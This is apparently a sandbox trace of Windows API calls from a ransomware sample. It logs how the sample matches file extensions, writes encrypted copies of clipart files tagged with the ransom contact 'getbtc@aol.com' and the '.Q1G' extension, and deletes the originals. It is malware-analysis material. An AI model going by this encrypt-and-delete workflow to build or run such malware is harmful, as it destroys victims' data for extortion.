1 [0262.979] lstrlenW (lpString=".xlsx") returned 5 [0262.979] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0262.979] lstrlenW (lpString=".ppt") returned 4 [0262.979] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0262.979] lstrlenW (lpString=".zip") returned 4 [0262.979] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.979] lstrlenW (lpString=".rar") returned 4 [0262.979] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.979] lstrlenW (lpString=".bz2") returned 4 [0262.979] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.979] lstrlenW (lpString=".7z") returned 3 [0262.979] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0262.979] lstrlenW (lpString=".dbf") returned 4 [0262.979] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0262.979] lstrlenW (lpString=".1cd") returned 4 [0262.979] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0262.979] lstrlenW (lpString=".jpg") returned 4 [0262.979] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0262.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0262.979] lstrlenW (lpString=".doc") returned 4 [0262.979] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.979] lstrlenW (lpString=".docx") returned 5 [0262.979] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0262.979] lstrlenW (lpString=".pdf") returned 4 [0262.979] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.979] lstrlenW (lpString=".xls") returned 4 [0262.979] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.979] lstrlenW (lpString=".xlsx") returned 5 [0262.979] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0262.980] lstrlenW (lpString=".ppt") returned 4 [0262.980] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0262.980] lstrlenW (lpString=".zip") returned 4 [0262.980] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.980] lstrlenW (lpString=".rar") returned 4 [0262.980] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.980] lstrlenW (lpString=".bz2") returned 4 [0262.980] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.980] lstrlenW (lpString=".7z") returned 3 [0262.980] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0262.980] lstrlenW (lpString=".dbf") returned 4 [0262.980] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0262.980] lstrlenW (lpString=".1cd") returned 4 [0262.980] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0262.980] lstrlenW (lpString=".jpg") returned 4 [0262.980] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.980] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.980] lstrlenW (lpString="J0152878.WMF") returned 12 [0262.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0262.982] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=14888) returned 1 [0262.982] CloseHandle (hObject=0x3a8) returned 1 [0262.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf")) returned 0x20 [0262.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0262.983] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.983] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0262.984] GetLastError () returned 0x0 [0262.984] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x3a28, lpOverlapped=0x0) returned 1 [0262.985] WriteFile (in: hFile=0x3d8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x3a30, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x3a30, lpOverlapped=0x0) returned 1 [0262.986] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.986] WriteFile (in: hFile=0x3d8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.986] SetEndOfFile (hFile=0x3d8) returned 1 [0262.986] CloseHandle (hObject=0x3d8) returned 1 [0262.987] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.987] SetEndOfFile (hFile=0x3a8) returned 1 [0262.989] CloseHandle (hObject=0x3a8) returned 1 [0262.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.989] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf")) returned 1 [0262.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0262.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0262.990] lstrlenW (lpString=".doc") returned 4 [0262.990] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.990] lstrlenW (lpString=".docx") returned 5 [0262.990] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0262.990] lstrlenW (lpString=".pdf") returned 4 [0262.990] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.990] lstrlenW (lpString=".xls") returned 4 [0262.990] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.990] lstrlenW (lpString=".xlsx") returned 5 [0262.990] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0262.990] lstrlenW (lpString=".ppt") returned 4 [0262.990] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0262.990] lstrlenW (lpString=".zip") returned 4 [0262.990] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.990] lstrlenW (lpString=".rar") returned 4 [0262.990] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.990] lstrlenW (lpString=".bz2") returned 4 [0262.990] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.990] lstrlenW (lpString=".7z") returned 3 [0262.990] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0262.990] lstrlenW (lpString=".dbf") returned 4 [0262.990] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0262.991] lstrlenW (lpString=".1cd") returned 4 [0262.991] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0262.991] lstrlenW (lpString=".jpg") returned 4 [0262.991] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0262.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0262.991] lstrlenW (lpString=".doc") returned 4 [0262.991] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.991] lstrlenW (lpString=".docx") returned 5 [0262.991] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0262.991] lstrlenW (lpString=".pdf") returned 4 [0262.991] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.991] lstrlenW (lpString=".xls") returned 4 [0262.991] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.991] lstrlenW (lpString=".xlsx") returned 5 [0262.991] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0262.991] lstrlenW (lpString=".ppt") returned 4 [0262.991] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0262.991] lstrlenW (lpString=".zip") returned 4 [0262.991] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.991] lstrlenW (lpString=".rar") returned 4 [0262.991] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.991] lstrlenW (lpString=".bz2") returned 4 [0262.991] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.991] lstrlenW (lpString=".7z") returned 3 [0262.991] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0262.991] lstrlenW (lpString=".dbf") returned 4 [0262.991] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0262.991] lstrlenW (lpString=".1cd") returned 4 [0262.991] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0262.992] lstrlenW (lpString=".jpg") returned 4 [0262.992] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.992] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.992] lstrlenW (lpString="J0152882.WMF") returned 12 [0262.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0262.992] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=9072) returned 1 [0262.992] CloseHandle (hObject=0x3a8) returned 1 [0262.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf")) returned 0x20 [0262.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0262.993] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.993] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0262.994] GetLastError () returned 0x0 [0262.994] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x2370, lpOverlapped=0x0) returned 1 [0262.996] WriteFile (in: hFile=0x3d8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x2380, lpOverlapped=0x0) returned 1 [0262.997] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.997] WriteFile (in: hFile=0x3d8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.997] SetEndOfFile (hFile=0x3d8) returned 1 [0262.997] CloseHandle (hObject=0x3d8) returned 1 [0262.997] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.997] SetEndOfFile (hFile=0x3a8) returned 1 [0262.999] CloseHandle (hObject=0x3a8) returned 1 [0262.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.999] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf")) returned 1 [0263.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0263.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0263.000] lstrlenW (lpString=".doc") returned 4 [0263.000] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.000] lstrlenW (lpString=".docx") returned 5 [0263.000] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0263.000] lstrlenW (lpString=".pdf") returned 4 [0263.000] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.000] lstrlenW (lpString=".xls") returned 4 [0263.000] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.000] lstrlenW (lpString=".xlsx") returned 5 [0263.000] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0263.000] lstrlenW (lpString=".ppt") returned 4 [0263.000] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0263.000] lstrlenW (lpString=".zip") returned 4 [0263.000] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.000] lstrlenW (lpString=".rar") returned 4 [0263.000] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.000] lstrlenW (lpString=".bz2") returned 4 [0263.000] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.000] lstrlenW (lpString=".7z") returned 3 [0263.000] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0263.001] lstrlenW (lpString=".dbf") returned 4 [0263.001] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0263.001] lstrlenW (lpString=".1cd") returned 4 [0263.001] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0263.001] lstrlenW (lpString=".jpg") returned 4 [0263.001] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0263.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0263.001] lstrlenW (lpString=".doc") returned 4 [0263.001] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.001] lstrlenW (lpString=".docx") returned 5 [0263.001] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0263.001] lstrlenW (lpString=".pdf") returned 4 [0263.001] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.001] lstrlenW (lpString=".xls") returned 4 [0263.001] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.001] lstrlenW (lpString=".xlsx") returned 5 [0263.001] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0263.001] lstrlenW (lpString=".ppt") returned 4 [0263.001] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0263.001] lstrlenW (lpString=".zip") returned 4 [0263.001] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.001] lstrlenW (lpString=".rar") returned 4 [0263.001] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.001] lstrlenW (lpString=".bz2") returned 4 [0263.001] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.001] lstrlenW (lpString=".7z") returned 3 [0263.001] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0263.001] lstrlenW (lpString=".dbf") returned 4 [0263.001] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0263.002] lstrlenW (lpString=".1cd") returned 4 [0263.002] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0263.002] lstrlenW (lpString=".jpg") returned 4 [0263.002] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.002] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.002] lstrlenW (lpString="J0152884.WMF") returned 12 [0263.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0263.002] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=6956) returned 1 [0263.002] CloseHandle (hObject=0x3a8) returned 1 [0263.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf")) returned 0x20 [0263.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0263.003] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.003] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0263.004] GetLastError () returned 0x0 [0263.004] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x1b2c, lpOverlapped=0x0) returned 1 [0263.188] WriteFile (in: hFile=0x3d8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x1b30, lpOverlapped=0x0) returned 1 [0263.189] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.189] WriteFile (in: hFile=0x3d8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.189] SetEndOfFile (hFile=0x3d8) returned 1 [0263.189] CloseHandle (hObject=0x3d8) returned 1 [0263.190] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.190] SetEndOfFile (hFile=0x3a8) returned 1 [0263.192] CloseHandle (hObject=0x3a8) returned 1 [0263.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.193] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf")) returned 1 [0263.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0263.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0263.194] lstrlenW (lpString=".doc") returned 4 [0263.194] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.194] lstrlenW (lpString=".docx") returned 5 [0263.194] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0263.194] lstrlenW (lpString=".pdf") returned 4 [0263.194] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.194] lstrlenW (lpString=".xls") returned 4 [0263.194] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.194] lstrlenW (lpString=".xlsx") returned 5 [0263.194] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0263.194] lstrlenW (lpString=".ppt") returned 4 [0263.194] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0263.194] lstrlenW (lpString=".zip") returned 4 [0263.194] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.194] lstrlenW (lpString=".rar") returned 4 [0263.194] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.194] lstrlenW (lpString=".bz2") returned 4 [0263.194] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.194] lstrlenW (lpString=".7z") returned 3 [0263.194] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.194] lstrlenW 